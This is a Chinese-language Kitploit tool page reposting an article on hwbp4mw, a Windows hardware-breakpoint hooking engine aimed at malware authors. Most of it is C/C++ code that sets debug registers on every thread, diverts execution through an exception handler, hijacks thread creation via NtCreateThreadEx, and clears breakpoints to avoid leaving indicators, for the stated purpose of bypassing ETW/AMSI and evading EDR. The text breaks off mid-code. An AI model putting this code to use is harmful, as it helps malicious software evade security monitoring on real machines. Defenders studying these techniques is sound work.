Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
hwbp4mw — 用于 Windows 的硬件断点挂钩引擎,使用调试寄存器挂钩函数、绕过 ETW/AMSI 并规避用户态 EDR 监控。 | Kitploit
工具/GitHubGitHub/rad9800/hwbp4mw
IDS/IPS规避调试器后渗透利用红队对抗性攻击
GitHubrad9800/hwbp4mw

hwbp4mw

用于 Windows 的硬件断点挂钩引擎,使用调试寄存器挂钩函数、绕过 ETW/AMSI 并规避用户态 EDR 监控。

查看仓库
27354183年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

本文最初是为 VX-Underground Black Mass Halloween Edition 2022 撰写的。

Hook 引擎:

  • 多线程安全的 x86/x64 硬件断点 Hook 引擎 C
  • PAGE_GUARD/hwbp 断点库 C++20
  • hwbp 库(DLL 示例)C++20

利用调试寄存器实现的通用 x64 用户态规避技术:

  • TamperingSyscalls2 C
  • TamperingSyscalls2 C++20

可用的 ETW/AMSI Hook 示例

  • rad9800/misc

恶意软件硬件断点 v 1.0

我们的任务是轻松地 Hook 函数并根据需要转移代码流,最后在不再需要时移除 Hook。

我们不能考虑应用 IAT Hook,因为它们并不总会被调用,因此不可靠。 内联 Hook 是一种强大的技术;然而,它需要我们修补代码所在的内存。 这确实是一种强大的技术,但像 PE-Sieve 和 Moneta 这样的工具能够区分模块的内存驻留副本与磁盘副本之间的差异,并将其标记出来。 这使调试寄存器成为完成该任务的完美工具,尽管它们相当不受恶意软件作者重视!

在 Windows 上,从高层概述来看,进程本质上是线程的封装,而每个线程都维护一个上下文,即线程的状态:寄存器、堆栈等。 调试寄存器是一种特权资源,设置它们同样如此;然而,Windows 暴露了多种系统调用,允许我们请求内核代表我们执行特权操作;这包括设置调试寄存器,而这对我们来说非常理想。 NtSetThreadContext 和 NtGetThreadContext 提供了修改任意线程上下文的功能,只要我们能以所需权限打开对应句柄。 我们可以看到如何使用 Win32 API 设置调试寄存器。```c CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS }; GetThreadContext(thd, &context);

// set our debug information in the Dr registers

SetThreadContext(thd, &context);
共有8个调试寄存器,从Dr0到Dr7。我们感兴趣的只有Dr0-3,我们用它来存储希望下断点的地址,而Dr6只是调试状态寄存器。最重要的是Dr7,它描述了处理器抛出异常所需的断点条件。使用调试寄存器时有各种限制,例如数量有限(4个)且不适用于所有线程/新生成的线程。我们将设法解决其中一些限制!

当异常被抛出时,它会查找异常处理器,我们可以在程序中定义并注册该处理器[1]。在我们定义的异常处理器中,我们希望当相应的断点被触发时,运行我们关联的代码(不同的代码流程)。```c
LONG WINAPI ExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
	if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP)
	{
		// Look for our associated code flow relative to our RIP 
		if (HWBP_ADDRESS_MAP.contains(ExceptionInfo->ContextRecord->Rip)) {
			HWBP_ADDRESS_MAP.at(ExceptionInfo->ContextRecord->Rip).func(ExceptionInfo);
			return EXCEPTION_CONTINUE_EXECUTION;
		}
	}
	return EXCEPTION_CONTINUE_SEARCH;
}

这是通过一个构造函数实现的,该构造函数设置“回调” lambda 函数与地址之间的映射。 using EXCEPTION_FUNC = std::function <void(PEXCEPTION_POINTERS)>;```c typedef struct { UINT pos; EXCEPTION_FUNC func; } HWBP_CALLBACK;

// Global std::unordered_map<uintptr_t, HWBP_CALLBACK> HWBP_ADDRESS_MAP{ 0 };

// Create our mapping HWBP_ADDRESS_MAP[address].func = function; HWBP_ADDRESS_MAP[address].pos = pos;

我们必须遍历我们所有的进程线程,并对它们的上下文进行相应的调整,
这可以使用 ToolHelp32 辅助函数实现:
CreateToolhelp32Snapshot 和 Thread32Next。这并不花哨,但解决了我们
无法附加到所有线程的一个限制。```c
VOID SetHWBPS(const uintptr_t address, const UINT pos, const bool init = true)
{
	DWORD pid{ GetCurrentProcessId() };
	HANDLE h{ CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) };
	if (h != INVALID_HANDLE_VALUE) {
		THREADENTRY32 te{ .dwSize = sizeof(THREADENTRY32) };
		if (Thread32First(h, &te)) {
			do {
				if ((te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) +
					sizeof(te.th32OwnerProcessID)) && te.th32OwnerProcessID == pid) {

					HANDLE thd = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);
					if (thd != INVALID_HANDLE_VALUE) {
						SetHWBP(thd, address, pos, init);
						CloseHandle(thd);
					}
				}
				te.dwSize = sizeof(te);
			} while (Thread32Next(h, &te));
		}
		CloseHandle(h);
	}
}

设置硬件断点本身就可疑,因为它们可能表明存在恶意活动(尽管据我所知,没有 EDR 会主动扫描它们)。它们可能被用作针对我们的潜在 IoC,因此一旦我们使用完毕,就必须清除它们的痕迹。

我们可以在析构函数中实现这一点!!它将遍历所有线程,并检查寄存器(&context.Dr0)[pos] 是否指向我们最初设置硬件断点的地址(pos 只是索引 % 4,让我们能够访问 context.Dr0-Dr3)。我们还可以移除 Dr7 寄存器中所需的条件。我们还必须记住移除我们的映射条目。因此,我们的硬件断点只会在所需的时间段内存在!```c SetHWBPS(address, pos, false); HWBP_ADDRESS_MAP.erase(address);

一个硬件断点的示例是 Sleep,我们只需将睡眠时长
替换为 0。```c
HWBP HWBPSleep{ (uintptr_t)&Sleep, 0,	// Set Dr 0 
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
		ExceptionInfo->ContextRecord->Rcx = 0;
		ExceptionInfo->ContextRecord->EFlags |= (1 << 16);	// continue execution
}) };

我们知道需要设置 RCX,这是因为 x64 Windows 四寄存器快速调用约定[1]。构造函数的第一参数是要中断的地址,第二个参数是存储到哪个 Dr0-3 寄存器(注意,我们一次只能设置 4 个中断地址),第三个参数是一个 lambda 函数,它将按引用捕获 PEXCEPTION_POINTERS,这是异常处理程序将接收到的信息。这最终使我们能够根据触发的是哪个断点来以不同方式控制程序流程。

当创建新线程时,它不会继承关联的调试寄存器组,除非我们设法拦截新线程的创建!我们可以使用的一个巧妙技巧是捕获实际起始地址,并将新线程转移去创建我们自己的线程。大多数新线程最终都会调用 NtCreateThreadEx。```c // Global Variable PVOID START_THREAD{ 0 };

// capture original start address HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"), "NtCreateThreadEx"), 1, ([&](PEXCEPTION_POINTERS ExceptionInfo) {

// save original thread address
START_THREAD = (PVOID) * (PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28);
// set the start address to our thread address 
*(PULONG64)(ExceptionInfo->ContextRecord->Rsp + 0x28) = (uintptr_t)&HijackThread;

ExceptionInfo->ContextRecord->EFlags |= (1 << 16);

}) };

DWORD WINAPI HijackThread(LPVOID lpParameter) { typedef DWORD(WINAPI* typeThreadProc)(LPVOID lpParameter);

// Set required HWBP
for (auto& i : HWBP_ADDRESS_MAP) {
	SetHWBP(GetCurrentThread(), i.first, i.second.pos, true);
}

// restore execution to original thread
return ((typeThreadProc)START_THREAD)(lpParameter);

}

这种解决方案的一个局限性在于,线程的调用栈将源自我们注入的 DLL 的 HijackThread,而不是原始线程!另一种更好的解决方案是自己调用 NtCreateThreadEx,但以挂起状态启动它,然后设置所需的硬件断点。然后,通过恢复已为该新线程设置调试寄存器的挂起线程来恢复执行。这将解决使用调试寄存器的另一个局限性。

调用我们设置了断点的指令会触发无限循环;因此,我们暂时禁用负责触发我们当前 RIP 的硬件断点。一旦我们完成调用,就可以恢复它。这样我们就可以调用原始函数(类似于跳板/trampoline)。在这种情况下,我们必须将 RIP 指向一个 ret gadget,以便它能返回,并且不会再次执行 syscall 指令。

第 5 个参数及其之后的参数可以在堆栈上以 0x8 字节的间隔找到 [2]。当我们触发断点时,堆栈大致如下所示。```
                ___________________________
               |                           |
               | 0x8 + lpBytesBuffer       |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackReserve  |
               |___________________________|
               |                           |
               | 0x8 + SizeOfStackCommit   |
               |___________________________|
               |                           |
               | 0x8 + StackZeroBits       |
               |___________________________|
               |                           |
               | 0x8 + Flags               |
               |___________________________|
               |                           |
               | 0x8 + lpParameter         |
               |___________________________|
               |                           |
               | 0x8 + lpStartAddress      |
RSP + 0x28 +-> |___________________________|
               |                           |
               |                           |
               |                           |  R9  +-> (HANDLE)ProcessHandle
               | 0x20 + Shadow Store       |  R8  |-> (PVOID) ObjectAttributes
               |                           |  RDX |-> (ACCESS_MASK) DesiredAccess
               |                           |  RCX +-> (PHANDLE) hThread
               |___________________________|
               |                           |
               | 0x8 + Call Ret Addr       |  RIP +-> NtCreateThreadEx
       RSP +-> |___________________________|

// Find our ret ROP gadget 
uintptr_t FindRetAddr(const uintptr_t function)
{
	BYTE stub[]{ 0xC3 };
	for (unsigned int i = 0; i < (unsigned int)25; i++)
	{	
		// do not worry this will be optimized
		if (memcmp((LPVOID)(function + i), stub, sizeof(stub)) == 0) {
			return (function + i);
		}
	}
	return NULL;
}

typedef LONG(NTAPI* typeNtCreateThreadEx)(
	OUT PHANDLE hThread,
	IN ACCESS_MASK DesiredAccess,
	IN PVOID ObjectAttributes,
	IN HANDLE ProcessHandle,
	IN PVOID lpStartAddress,
	IN PVOID lpParameter,
	IN ULONG Flags,
	IN SIZE_T StackZeroBits,
	IN SIZE_T SizeOfStackCommit,
	IN SIZE_T SizeOfStackReserve,
	OUT PVOID lpBytesBuffer
); 

HWBP HWBPNtCreateThreadEx{ (uintptr_t)GetProcAddress(GetModuleHandle(L"NTDLL.dll"),
										  "NtCreateThreadEx"), 1,
	([&](PEXCEPTION_POINTERS ExceptionInfo) {
下载工具